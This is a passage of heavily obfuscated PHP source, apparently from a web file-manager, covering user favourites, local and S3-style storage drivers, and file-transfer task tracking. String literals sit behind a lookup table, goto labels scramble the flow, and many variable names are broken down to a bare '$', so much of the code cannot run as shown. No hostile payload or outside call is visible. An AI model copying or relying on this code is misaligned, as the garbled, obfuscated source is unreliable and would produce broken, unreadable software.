array_to_keyvalue($, $[12], $[1976]); return empty($¶) ? 0 : max($¶) + 1; } public function update($Ҍ, $) { $ =& $_SERVER[ϋ]; $ӆ = $this->listData($Ҍ); $”ƈ = $this->findByName($[$[32]]); if (!$ӆ || $”ƈ && $”ƈ[$[459]] != $ӆ[$[459]]) { return !1; } return parent::update($Ҍ, $); } public function remove($ǥꂵ, $ս = false) { $𹂴 =& $_SERVER[ϋ]; $ߜ = $this->listData($ǥꂵ); if (!$ߜ) { return; } if (!$ս && $ߜ[$𹂴[182]] == $𹂴[91]) { return !1; } return parent::remove($ǥꂵ); } public function enable($֯, $⭈) { return $this->update($֯, array($_SERVER[ϋ][2418] => $⭈)); } public function run($ӿ) { return $this->update($ӿ, array($_SERVER[ϋ][2430] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\165\163\145\162\x5f\146\141\166"; protected function cacheFunctionAlias($) { $ =& $_SERVER[ϋ]; return array($[2068] => array(USER_ID, $[2431])); } protected function listData() { $Ҵؾ =& $_SERVER[ϋ]; $ۭʉ = array($Ҵؾ[1745] => USER_ID, $Ҵؾ[542] => 0); $ = $Ҵؾ[2432]; $ = $this->field($)->where($ۭʉ)->order($Ҵؾ[2433])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $܌ =& $_SERVER[ϋ]; $׈ = $this->listData(); $ = array_filter_by_field($׈, $܌[33], $܌[474]); $ = array_to_keyvalue($, $܌[12], $܌[87]); if (!$) { return $׈; } $곎 = 2000; $ǵ = array($܌[475] => array($܌[476], $)); $ٛ = Model($܌[876])->listSource($ǵ, $곎); $ٛ = array_merge($ٛ[$܌[86]], $ٛ[$܌[85]]); $ٛ = array_to_keyvalue($ٛ, $܌[184]); foreach ($׈ as $鎹 => $˓) { $ԭ棗 = $ٛ[$˓[$܌[87]]]; $ԭ棗 = $ԭ棗 ? $ԭ棗 : array(); $׈[$鎹] = array_merge($ԭ棗, $˓); } return $׈; } protected function addFav($, $ȿ = '', $׬ = "\163\x6f\165\162\x63\145") { $ =& $_SERVER[ϋ]; $ű = array($[1745] => USER_ID, $[542] => 0, $[480] => $׬, $[479] => $); if ($this->where($ű)->find()) { return !1; } $ű = array($[1745] => USER_ID, $[542] => 0); $ = $this->where($ű)->max($[1976]); if (!$) { $ = 0; } if (!$ȿ && $׬ == $[474]) { $кLj = Model($[1388])->where(array($[475] => $))->find(); if (!$кLj) { return !1; } $ȿ = $кLj[$[32]]; } $ȿ = $this->getAutoName($ȿ); $ = array($[1745] => USER_ID, $[542] => 0, $[478] => $ȿ, $[479] => $, $[480] => $׬, $[1956] => $ + 1); return $this->add($); } protected function remove($) { $ߨ =& $_SERVER[ϋ]; $⨯ = array($ߨ[1745] => USER_ID, $ߨ[477] => $); return $this->where($⨯)->delete(); } protected function removeByName($ڐ) { $ =& $_SERVER[ϋ]; $ = array($[1745] => USER_ID, $[478] => $ڐ, $[542] => 0); return $this->where($)->delete(); } protected function rename($, $Ӱ) { $ǶР =& $_SERVER[ϋ]; if ($ == $Ӱ) { return !1; } $͗ = $this->getAutoName($Ӱ); if ($Ӱ != $͗) { return !1; } $΁ = array($ǶР[1745] => USER_ID, $ǶР[542] => 0, $ǶР[32] => $); return $this->where($΁)->save(array($ǶР[32] => $Ӱ)); } protected function resetSort($߄) { $ =& $_SERVER[ϋ]; $߄ = is_array($߄) ? $߄ : array(); $̟؍ = array($[1745] => USER_ID); for ($ߣ = 0; $ߣ < count($߄); $ߣ++) { $̟؍[$[477]] = $߄[$ߣ]; $this->where($̟؍)->save(array($[1956] => $ߣ + 1)); } return !0; } protected function moveTop($) { $ =& $_SERVER[ϋ]; $ = array($[1745] => USER_ID, $[542] => 0); $ = $this->where($)->where(array($[32] => $))->find(); if (!$) { return; } $ = $this->field($[459])->where($)->order($[2433])->select(); $ = array_to_keyvalue($, $[12], $[459]); $ = $; $ = array_remove_value($, $[$[459]]); array_unshift($, $[$[459]]); return $this->resetSort($); } protected function moveBottom($̀) { $ύ =& $_SERVER[ϋ]; $ = array($ύ[1745] => USER_ID, $ύ[542] => 0); $ȝ = $this->where($)->max($ύ[1976]); $ľ = array($ύ[1976] => $ȝ + 1); return $this->where($)->where(array($ύ[32] => $̀))->save($ľ); } private function getAutoName($) { $ͮ =& $_SERVER[ϋ]; $ = array($ͮ[1745] => USER_ID, $ͮ[542] => 0); $𐴦 = $this->field($ͮ[32])->where($)->select(); $𐴦 = array_to_keyvalue($𐴦, $ͮ[12], $ͮ[32]); if (!$𐴦 || !in_array($, $𐴦)) { return $; } for ($ƴ = 0; $ƴ < count($𐴦); $ƴ++) { if (!in_array($ . "\50{$ƴ}\51", $𐴦)) { return $ . "\50{$ƴ}\51"; } } return $ . "\50{$ƴ}\x29"; } } goto E쟃; cڜ: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[ϋ][1409]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($׹) { $ =& $_SERVER[ϋ]; global $config; return $this->iconvTo($׹, $config[$[1407]], $config[$[1406]]); } public function iconvSystem($Ș) { $ =& $_SERVER[ϋ]; global $config; return $this->iconvTo($Ș, $config[$[1406]], $config[$[1407]]); } public function getPathOuter($) { $󥼴 =& $_SERVER[ϋ]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $󥼴[1409]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $󥼴[1409]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $󥼴[8] . ltrim($, $󥼴[8]); } public function mkfile($ҟ, $㫯 = '', $ = REPEAT_RENAME) { $ҟ = $this->iconvSystem($ҟ); @touch($ҟ); if ($㫯) { file_put_contents($ҟ, $㫯); } @chmod($ҟ, $this->pathAuth); if (is_file($ҟ)) { return $this->getPathOuter($ҟ); } $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][1419], !0); return !1; } public function mkdir($ږ, $ = REPEAT_SKIP) { $ږ = $this->iconvSystem($ږ); if (is_dir($ږ)) { return $this->getPathOuter($ږ); } @mkdir($ږ, $this->pathAuth, !0); @chmod($ږ, $this->pathAuth); if (is_dir($ږ)) { return $this->getPathOuter($ږ); } $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][1419], !0); return !1; } public function copyFile($ֈ, $𞊉) { $this->mkdir($this->pathFather($𞊉)); $ֈ = $this->iconvSystem($ֈ); $𞊉 = $this->iconvSystem($𞊉); $߿չ = copy_64($ֈ, $𞊉); @chmod($𞊉, $this->pathAuth); if ($߿չ) { return $this->getPathOuter($𞊉); } $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][1419], !0); return !1; } public function moveFile($, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $叠 = intval(@rename($, $)); if (!$叠) { if ($叠 = intval(@copy_64($, $))) { @unlink($); } } @chmod($, $this->pathAuth); if ($叠) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][1419], !0); return !1; } public function movePath($ȧ, $麐ʅ, $ = false) { $ =& $_SERVER[ϋ]; $ȧ = $this->iconvSystem($ȧ); $麐ʅ = $this->iconvSystem($麐ʅ); $ܻ = rtrim($麐ʅ, $[8]) . $[8] . ($ ? $ : get_path_this($ȧ)); if (file_exists($ܻ)) { return !1; } $ = intval(@rename($ȧ, $ܻ)); $ = file_exists($ܻ); if ($) { return $this->getPathOuter($ܻ); } $this->writeLog(__FUNCTION__ . $[1419], !0); return !1; } public function delFile($У) { $У = $this->iconvSystem($У); if (!@unlink($У)) { @chmod($У, $this->pathAuth); if (@unlink($У)) { return !0; } $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][1419], !0); return !1; } return !0; } public function delFolder($) { $ =& $_SERVER[ϋ]; $ = $this->iconvSystem($); if (!is_dir($)) { return !0; } if (!($ǖ = opendir($))) { return !1; } while (($ = readdir($ǖ)) !== !1) { if ($ == $[10] || $ == $[1331]) { continue; } $‚ = $ . $[8] . $; if (is_file($‚) || is_link($‚)) { if (!unlink($‚)) { chmod($‚, $this->pathAuth); if (!unlink($‚)) { return !1; } } } else { if (is_dir($‚)) { chmod($‚, $this->pathAuth); $‚ = $this->iconvApp($‚); if (!$this->delFolder($‚)) { return !1; } } } } closedir($ǖ); return rmdir($); } public function rename($ч, $֓) { $ =& $_SERVER[ϋ]; $ = $this->fileNameAuto($this->pathFather($ч), $֓); $ = $this->iconvSystem($); $ч = $this->iconvSystem($ч); $Ҟ = $this->pathFather($ч); $ = rtrim($Ҟ, $[8]) . $[8] . $; $ˢ = @rename($ч, $); $ = $this->iconvApp($); if ($ˢ) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $[1419], !0); return !1; } public function size($) { $ = $this->iconvSystem($); return filesize_64($); } public function info($) { $ = $this->iconvSystem($); if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } protected function infoChildren($, &$Ϊ, $ = true) { $ =& $_SERVER[ϋ]; check_abort_echo(); $ = rtrim($, $[8]) . $[8]; if ($) { $ = $this->iconvSystem($); } if (!($ = @opendir($))) { return; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1331]) { continue; } $ÿ = $ . $; if (is_file($ÿ) || is_link($ÿ)) { $Ϊ[$[80]]++; $Ϊ[$[79]] += filesize_64($ÿ); } else { if (is_dir($ÿ)) { $Ϊ[$[81]]++; $this->infoChildren($ÿ, $Ϊ, !1); } } } closedir($); } private function folderInfo($冯, $ = false) { $ɏ =& $_SERVER[ϋ]; $冯 = rtrim($冯, $ɏ[8]) . $ɏ[8]; $ = $this->iconvApp($this->pathThis($冯)); if ($) { return array($ɏ[32] => $, $ɏ[87] => $this->getPathOuter($冯), $ɏ[33] => $ɏ[78]); } $ = array($ɏ[32] => $, $ɏ[87] => $this->getPathOuter($冯), $ɏ[33] => $ɏ[78], $ɏ[222] => @filectime($冯), $ɏ[88] => @filemtime($冯), $ɏ[1423] => @fileatime($冯), $ɏ[1424] => is_readable($冯), $ɏ[1425] => is_writable($冯), $ɏ[1426] => get_mode($冯)); return $; } private function fileInfo($萆, $Լ͐ = false) { $⦘ =& $_SERVER[ϋ]; $ = $this->iconvApp($this->pathThis($萆)); if ($Լ͐) { return array($⦘[32] => $, $⦘[87] => $this->getPathOuter($萆), $⦘[33] => $⦘[221], $⦘[79] => $this->size($萆), $⦘[178] => $this->ext($)); } $ = array($⦘[32] => $, $⦘[87] => $this->getPathOuter($萆), $⦘[33] => $⦘[221], $⦘[222] => @filectime($萆), $⦘[88] => @filemtime($萆), $⦘[1423] => @fileatime($萆), $⦘[79] => $this->size($萆), $⦘[178] => $this->ext($), $⦘[1424] => is_readable($萆), $⦘[1425] => is_writable($萆), $⦘[1426] => get_mode($萆)); return $; } public function exist($ȟ) { $ȟ = $this->iconvSystem($ȟ); return @file_exists($ȟ); } public function isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($) { $ = $this->iconvSystem($); return @is_dir($); } public function listPath($ᵱ, $ = false) { $ =& $_SERVER[ϋ]; $ᵱ = $this->iconvSystem($ᵱ); $ᵱ = rtrim($ᵱ, $[8]) . $[8]; $ߝޱ = array($[85] => array(), $[86] => array()); if (!($ñ = @opendir($ᵱ))) { return $ߝޱ; } while (($ڸ = readdir($ñ)) !== !1) { if ($ڸ == $[10] || $ڸ == $[1331]) { continue; } $ۮ = $ᵱ . $ڸ; if (is_file($ۮ)) { $ߝޱ[$[86]][] = $this->fileInfo($ۮ, $); } else { $ߝޱ[$[85]][] = $this->folderInfo($ۮ, $); } } closedir($ñ); return $ߝޱ; } public function listAll($ă烗, &$е = array()) { $ =& $_SERVER[ϋ]; $ă烗 = $this->iconvSystem($ă烗); $ă烗 = rtrim($ă烗, $[8]) . $[8]; if (!($܇ = @opendir($ă烗))) { return $е; } while (($ލ = readdir($܇)) !== !1) { if ($ލ == $[10] || $ލ == $[1331]) { continue; } $ќ = $ă烗 . $ލ; $ = is_dir($ќ) && !is_link($ќ) ? 1 : 0; $ќ = $ ? $ќ . $[8] : $ќ; $е[] = array($[87] => $ќ, $[78] => $, $[88] => intval(@filemtime($ќ)), $[79] => $ ? 0 : intval($this->size($ќ))); if ($) { $this->listAll($ќ, $е); } } closedir($܇); return $е; } public function has($, $ = false, $֕ = true) { $ҳ =& $_SERVER[ϋ]; $ = $this->iconvSystem($); $ = rtrim($, $ҳ[8]) . $ҳ[8]; if (!($ = @opendir($))) { return !1; } $ = 0; $ = 0; $Ѱ = 0; while (($̺ = readdir($)) !== !1) { if ($̺ == $ҳ[10] || $̺ == $ҳ[1331]) { continue; } $ۍۻ = $ . $̺; if ($) { $Ѱ++; if (@is_file($ۍۻ)) { $++; } else { $++; } if ($Ѱ > 10000) { break; } continue; } if ($֕) { if (@is_file($ۍۻ)) { return !0; } } else { if (@is_dir($ۍۻ . $ҳ[8])) { return !0; } } } closedir($); if ($) { return array($ҳ[230] => $, $ҳ[231] => $); } return !1; } public function hashSimple($) { $ =& $_SERVER[ϋ]; if (!$) { return md5($[12]); } $ = $this->iconvSystem($); $軽 = $this->size($); $ = 200; $ח = 50; if ($軽 <= $ * $ח) { return $this->hashMd5($) . $軽; } $޺ = $[12]; $ = intval($軽 / $ח); $ʬ = fopen($, $[1427]); if (!$ʬ) { return $޺; } for ($ = 0; $ < $ח; $++) { fseek_64($ʬ, $ * $); $޺ .= fread($ʬ, $); } fseek_64($ʬ, $軽 - $); $޺ .= fread($ʬ, $); fclose($ʬ); return md5($޺) . $軽; } public function getContent($ݗ) { $ݗ = $this->iconvSystem($ݗ); return file_get_contents($ݗ); } public function setContent($, $ю = '') { $ = $this->iconvSystem($); $ = @file_put_contents($, $ю, LOCK_EX); if (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][1419], !0); } clearstatcache(); @chmod($, $this->pathAuth); return $ === !1 ? !1 : !0; } public function fileSubstr($Ԥ, $޿ = 0, $ = false) { $ǵ =& $_SERVER[ϋ]; $Ԥ = $this->iconvSystem($Ԥ); if ($ === !1) { $ = $this->size($Ԥ); } if ($ <= 0) { return $ǵ[12]; } $ = fopen($Ԥ, $ǵ[1427]); if (!$) { return !1; } fseek_64($, $޿); $܄ = fread($, $); fclose($); if (!$܄) { $this->writeLog(__FUNCTION__ . $ǵ[1419], !0); } return $܄; } public function upload($ꉭ忎, $, $ = false, $ = REPEAT_REPLACE) { if ($) { return $this->moveFile($, $ꉭ忎); } return $this->copyFile($, $ꉭ忎); } public function setModifyTime($, $۷ƒ = '') { @touch($, intval($۷ƒ)); } public function download($×, $۟) { return $this->iconvSystem($×); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($ʎ) { parent::__construct($ʎ); $this->setSignVersion($_SERVER[ϋ][238]); } public function fileOutImage($ɰ, $۸ = 250) { $٥ =& $_SERVER[ϋ]; if ($this->size($ɰ) > 1024 * 1024 * 25) { return $this->fileOutImageServer($ɰ, $۸); } $ = array($٥[1428] => $٥[1429] . $۸ . $٥[1430]); $觋 = $this->link($ɰ, $); $this->fileOutLink($觋); } public function fileOutLink($) { $ =& $_SERVER[ϋ]; if (substr($, 0, 7) == $[1377]) { $ = $[1378] . substr($, 7); } header($[165] . $); die; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[ϋ][238]); } public function fileOutLink($) { $֦ =& $_SERVER[ϋ]; if (substr($, 0, 7) == $֦[1377]) { $ = $֦[1378] . substr($, 7); } header($֦[165] . $); die; } } goto F̉ޓ; Bϵ: class Task { const STATYS_STOP = "\163\x74\x6f\x70"; const STATYS_RUNNING = "\x72\x75\x6e\156\x69\156\147"; const STATYS_KILL = "\153\151\154\x6c"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($ΐ, $ = '', $ = 0, $𧵻 = '') { $ٛ =& $_SERVER[ϋ]; if (self::get($ΐ)) { return; } $this->task = array($ٛ[459] => $ΐ, $ٛ[1754] => USER_ID, $ٛ[1643] => $𧵻, $ٛ[510] => $ٛ[12], $ٛ[33] => $, $ٛ[1114] => $ٛ[12], $ٛ[1112] => $, $ٛ[1755] => 0, $ٛ[1756] => 0, $ٛ[1757] => 0, $ٛ[1758] => timeFloat(), $ٛ[1759] => 0, $ٛ[1760] => 0, $ٛ[1761] => 0, $ٛ[1762] => 0, $ٛ[802] => $ٛ[1704]); $GLOBALS[$ٛ[1763]] = 1; Hook::bind($ٛ[1708], array($this, $ٛ[1764])); Hook::bind($ٛ[1765], array($this, $ٛ[1766])); $this->startAfter(); Hook::trigger($ٛ[1767], $this->task); $this->task[$ٛ[1760]] = timeFloat(); } public function end($ͅ = '') { $Ƭ =& $_SERVER[ϋ]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$Ƭ[1760]]) { self::valueSet($this->task[$Ƭ[459]], !1); } $this->isEnd = !0; if ($ͅ) { $this->task[$Ƭ[510]] = $ͅ; } self::log($Ƭ[1768] . $this->task[$Ƭ[459]] . $Ƭ[1769] . sprintf($Ƭ[902], timeFloat() - $this->task[$Ƭ[1758]]) . $Ƭ[1770]); Hook::unbind($Ƭ[1708], array($this, $Ƭ[1764])); Hook::unbind($Ƭ[1765], array($this, $Ƭ[1766])); $this->endAfter(); $ɀ = $this->task; $this->task = !1; Hook::trigger($Ƭ[1771], $ɀ); } public function update($§ٿ = 0, $ó = false) { $ĉϐ =& $_SERVER[ϋ]; $ن =& $this->task; if (!$ن) { return; } $ن[$ĉϐ[1755]] += $§ٿ; $ن[$ĉϐ[1759]] = timeFloat(); if ($ن[$ĉϐ[1112]]) { if ($ن[$ĉϐ[1112]] < $ن[$ĉϐ[1755]]) { $ن[$ĉϐ[1112]] = $ن[$ĉϐ[1755]]; } $ = timeFloat() - $ن[$ĉϐ[1758]] - $ن[$ĉϐ[1761]]; if ($ <= 0) { $ = 0.001; } $ن[$ĉϐ[1756]] = $ن[$ĉϐ[1755]] / $ن[$ĉϐ[1112]]; $ن[$ĉϐ[1757]] = $ن[$ĉϐ[1755]] / $; if ($ن[$ĉϐ[1756]] > 0) { $ن[$ĉϐ[1762]] = $ * (1 - $ن[$ĉϐ[1756]]) / $ن[$ĉϐ[1756]]; } $ن[$ĉϐ[1762]] = $ن[$ĉϐ[1762]] <= 0 ? 0 : $ن[$ĉϐ[1762]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $ن[$ĉϐ[1760]] < $ && !$ó) { return; } $ع = self::get($ن[$ĉϐ[459]]); $Õ = $ع[$ĉϐ[802]]; if ($Õ == self::STATYS_KILL) { $ = array($ĉϐ[1772] => LNG($ĉϐ[1773]), $ĉϐ[1265] => !1); Cache::set($ĉϐ[1774] . $this->task[$ĉϐ[459]], $, 30); $this->onKill(); $this->end(); die; } else { if ($Õ == self::STATYS_STOP) { $ = 2; $ع[$ĉϐ[1761]] += $; self::valueSet($ن[$ĉϐ[459]], $ع); sleep($); $this->update(); return; } } $ن[$ĉϐ[802]] = $Õ ? $Õ : $ن[$ĉϐ[802]]; $ن[$ĉϐ[1761]] = $ع[$ĉϐ[1761]] ? $ع[$ĉϐ[1761]] : 0; $ن[$ĉϐ[1760]] = timeFloat(); Hook::trigger($ĉϐ[1775], $ن); self::valueSet($ن[$ĉϐ[459]], $ن); } public function onKillSet($ꓰ, $ = array()) { $this->onKillCall = array($ꓰ, $); } public function onKill() { $ۄ =& $_SERVER[ϋ]; self::log($ۄ[1768] . $this->task[$ۄ[459]] . $ۄ[1776]); Hook::trigger($ۄ[1777], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($) { $ا =& $_SERVER[ϋ]; Cache::set($ا[1774] . $this->task[$ا[459]], $, 60); return $; } public static function get($Ɲ) { $ܨ =& $_SERVER[ϋ]; $ = self::valueGet($Ɲ); if (is_array($) && $[$ܨ[1778]]) { $ߏ = ActionApply($[$ܨ[1778]], array($)); $ = is_array($ߏ) ? $ߏ : $; } return $; } public static function listData() { $Ͱ = self::valueGet(); return array_sort_by($Ͱ, $_SERVER[ϋ][1758], !0); } public static function kill($ا) { return self::changeStatus($ا, self::STATYS_KILL); } public static function stop($) { return self::changeStatus($, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public static function killAll() { $ʺϥ =& $_SERVER[ϋ]; $٘ = self::listData(); foreach ($٘ as $߸) { self::kill($߸[$ʺϥ[459]]); } sleep(2); foreach ($٘ as $߸) { self::valueSet($߸[$ʺϥ[459]], !1); } } private static function changeStatus($, $ߜŃ) { $ =& $_SERVER[ϋ]; $ = self::valueGet($); if (!$) { return !1; } $[$[802]] = $ߜŃ; self::valueSet($, $); self::log($[1779] . $[$[459]] . $[1780] . $ߜŃ); return !0; } public static function valueGet($ = false) { $멄 =& $_SERVER[ϋ]; if ($) { $ȫ = Model($멄[504])->where(array($멄[97] => $, $멄[33] => $멄[1121]))->find(); return $ȫ ? json_decode($ȫ[$멄[434]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($Ϣ = false) { $މ =& $_SERVER[ϋ]; $Ҝ = array($މ[33] => $މ[1121]); if ($Ϣ) { $Ҝ[$މ[1754]] = $Ϣ; } $㐀 = Model($މ[504])->where($Ҝ)->select(); $㐀 = $㐀 ? $㐀 : array(); foreach ($㐀 as $։ => $恜) { $㐀[$։] = json_decode($恜[$މ[434]], !0); } return $㐀; } public static function valueSet($, $Ӽ) { $ҩ =& $_SERVER[ϋ]; if (!$Ӽ) { return Model($ҩ[504])->where(array($ҩ[97] => $, $ҩ[33] => $ҩ[1121]))->delete(); } $޸ = json_encode($Ӽ); if (!$޸) { ob_start(); var_dump($Ӽ); $ = ob_get_clean(); self::log($ҩ[1781] . json_encode_force($)); } if (!$ || !$Ӽ[$ҩ[459]]) { return !1; } $ = array($ҩ[33] => $ҩ[1121], $ҩ[1754] => USER_ID, $ҩ[97] => $, $ҩ[434] => $޸); $ɞ = $ҩ[1782]; CacheLock::lock($ɞ); Model($ҩ[504])->add($, array(), !0); CacheLock::unlock($ɞ); } public static function log($) { if (!GLOBAL_DEBUG) { return; } write_log($, $_SERVER[ϋ][1783]); } } class TaskFileTransfer extends Task { protected function startAfter() { $اʨ =& $_SERVER[ϋ]; $ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($اʨ[1784], array($this, $اʨ[1785])); Hook::bind($اʨ[1276], array($this, $اʨ[1786])); Hook::bind($اʨ[1787], array($this, $اʨ[1788])); Hook::bind($اʨ[652], array($this, $اʨ[1789])); Hook::bind($اʨ[653], array($this, $اʨ[1790])); Hook::bind($اʨ[659], array($this, $اʨ[1791])); Hook::bind($اʨ[660], array($this, $اʨ[1792])); Hook::bind($اʨ[655], array($this, $اʨ[1793])); Hook::bind($اʨ[657], array($this, $اʨ[1794])); Hook::bind($اʨ[621], array($this, $اʨ[1795])); Hook::bind($اʨ[618], array($this, $اʨ[1795])); Hook::bind($اʨ[623], array($this, $اʨ[1795])); Hook::bind($اʨ[625], array($this, $اʨ[1795])); Hook::bind($اʨ[627], array($this, $اʨ[1795])); Hook::bind($اʨ[1796], array($this, $اʨ[1797])); Hook::bind($اʨ[643], array($this, $اʨ[1798])); $this->sourceModelCopyFlag = !1; Hook::bind($اʨ[1799], array($this, $اʨ[1800])); Hook::bind($اʨ[1801], array($this, $اʨ[1802])); Hook::bind($اʨ[1803], array($this, $اʨ[1804])); $[$اʨ[1805]] = LNG($اʨ[1806]); $[$اʨ[1807]] = 0; $[$اʨ[1808]] = 0; $[$اʨ[1114]] = $اʨ[12]; $[$اʨ[1809]] = $اʨ[12]; $[$اʨ[1810]] = 0; $[$اʨ[1811]] = 0; $[$اʨ[1812]] = 0; if (!$[$اʨ[1643]]) { $[$اʨ[1643]] = LNG($اʨ[1813]); } } protected function endAfter() { $茑 =& $_SERVER[ϋ]; Hook::unbind($茑[1784], array($this, $茑[1785])); Hook::unbind($茑[1276], array($this, $茑[1786])); Hook::unbind($茑[1787], array($this, $茑[1788])); Hook::unbind($茑[652], array($this, $茑[1789])); Hook::unbind($茑[653], array($this, $茑[1790])); Hook::unbind($茑[659], array($this, $茑[1791])); Hook::unbind($茑[660], array($this, $茑[1792])); Hook::unbind($茑[655], array($this, $茑[1793])); Hook::unbind($茑[657], array($this, $茑[1794])); Hook::unbind($茑[621], array($this, $茑[1795])); Hook::unbind($茑[618], array($this, $茑[1795])); Hook::unbind($茑[623], array($this, $茑[1795])); Hook::unbind($茑[625], array($this, $茑[1795])); Hook::unbind($茑[627], array($this, $茑[1795])); Hook::unbind($茑[1796], array($this, $茑[1797])); Hook::unbind($茑[643], array($this, $茑[1798])); Hook::unbind($茑[1799], array($this, $茑[1800])); Hook::unbind($茑[1801], array($this, $茑[1802])); Hook::unbind($茑[1803], array($this, $茑[1804])); } public function copyMoveStart($, $, $ɞ, $ٻ) { $ŧ =& $_SERVER[ϋ]; self::log($ŧ[1814] . $ . $ŧ[73] . $ٻ); $î = rtrim(TEMP_FILES, $ŧ[8]); if (substr($, 0, strlen($î)) == $î) { return; } if (substr($ٻ, 0, strlen($î)) == $î) { return; } $Ɋ =& $this->task; $Ɋ[$ŧ[1815]] = KodIO::transferType($, $ɞ); $this->update(); } public function updateAfter() { $ˠ =& $_SERVER[ϋ]; $ņ =& $this->task; if (!$ņ[$ˠ[815]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($ņ[$ˠ[1815]] == $ˠ[1368]) { return; } self::updateTask($ņ); } private static function updateTask(&$˜) { $ =& $_SERVER[ϋ]; if ($˜[$[1815]] == $[1247] || $˜[$[1815]] == $[110]) { if ($˜[$[1809]]) { $˜[$[1812]] = $˜[$[1811]] + $˜[$[1808]]; } } else { if ($˜[$[1815]] == $[1369]) { if ($˜[$[1809]] == $[1247]) { $˜[$[1812]] = $˜[$[1811]] + $˜[$[1808]] * 0.5; } else { if ($˜[$[1809]] == $[110]) { $˜[$[1812]] = $˜[$[1811]] + $˜[$[1807]] * 0.5 + $˜[$[1808]] * 0.5; } } } } $˜[$[1756]] = $˜[$[1812]] / $˜[$[815]]; if ($˜[$[1756]] > 0) { $׽ = timeFloat() - $˜[$[1758]] - $˜[$[1761]]; $˜[$[1762]] = $׽ * (1 - $˜[$[1756]]) / $˜[$[1756]]; } } public function addPath($ۼ) { $ =& $_SERVER[ϋ]; if (!$ۼ) { return; } $ =& $this->task; $ɜ = IO::infoWithChildren($ۼ); $ = $[$[1816]] ? $[$[1816]][$[1817]] : 0; $[$[1816]] = array($[1817] => $ + 1, $[478] => $ɜ[$[32]], $[87] => $ɜ[$[87]], $[567] => $ɜ[$[567]] ? $ɜ[$[567]] : $ɜ[$[87]]); if ($ɜ[$[33]] == $[221]) { $[$[1112]] += 1; } else { $[$[1112]] += $ɜ[$[82]][$[80]]; if ($ɜ[$[184]]) { $[$[1112]] += $ɜ[$[82]][$[81]] + 1; } } $[$[815]] += $ɜ[$[79]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($×) { } public function sourceAddHashEnd($) { } public function sourceAddFileStart($ꃇ) { $㋉ =& $_SERVER[ϋ]; $ =& $this->task; $[$㋉[1807]] = $ꃇ[$㋉[79]]; $[$㋉[1805]] = $ꃇ[$㋉[32]]; $[$㋉[1114]] = $ꃇ[$㋉[32]]; $[$㋉[1818]] = $ꃇ[$㋉[87]]; $this->update(); } public function sourceAddFileEnd($) { $˴ =& $_SERVER[ϋ]; $۪ =& $this->task; $۪[$˴[1812]] += $[$˴[79]]; $۪[$˴[1818]] = $[$˴[87]]; $this->update(1); } public function copyFileStart($セʾ, $弉, $œ, $ȣ, $, $˘) { $؍ =& $_SERVER[ϋ]; $֪ = $; if ($֪ == $GLOBALS[$؍[1819]]) { $֪ = $GLOBALS[$؍[1820]]; } $GLOBALS[$؍[1820]] = $; $GLOBALS[$؍[1819]] = $˘; $֞ԯ =& $this->task; $֞ԯ[$؍[1805]] = $֪; $֞ԯ[$؍[1807]] = (int) $セʾ->size($弉); $֞ԯ[$؍[1808]] = 0; $֞ԯ[$؍[1114]] = $؍[12]; $֞ԯ[$؍[1809]] = $؍[12]; $֞ԯ[$؍[1810]] = 0; $ӹ = $֞ԯ[$؍[1807]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($֞ԯ[$؍[459]] . $؍[1821]); if ($ӹ && file_exists(get_path_father($ȣ))) { Cache::set($֞ԯ[$؍[459]] . $؍[1821], $ȣ); $֞ԯ[$؍[1778]] = array($؍[1822], $؍[1823]); } $this->update(0, $ӹ); } public static function updateCopyLocalFileSize($) { $ę =& $_SERVER[ϋ]; $DZ = Cache::get($[$ę[459]] . $ę[1821]); if (!$DZ || !file_exists($DZ)) { return $; } $[$ę[1808]] = @filesize($DZ); $[$ę[1812]] += $[$ę[1808]]; self::updateTask($); return $; } public function copyFileEnd($, $ܖ, $ू, $¤, $È, $Ճ) { $Χ =& $_SERVER[ϋ]; $ =& $this->task; $[$Χ[1808]] = $[$Χ[1807]]; $[$Χ[1809]] = $Χ[12]; unset($[$Χ[1778]]); if ($È == $[$Χ[1805]]) { $[$Χ[1811]] += $[$Χ[1807]]; $[$Χ[1812]] = $[$Χ[1811]]; $ = 1; if (isset($[$Χ[1818]]) && $[$Χ[1818]] 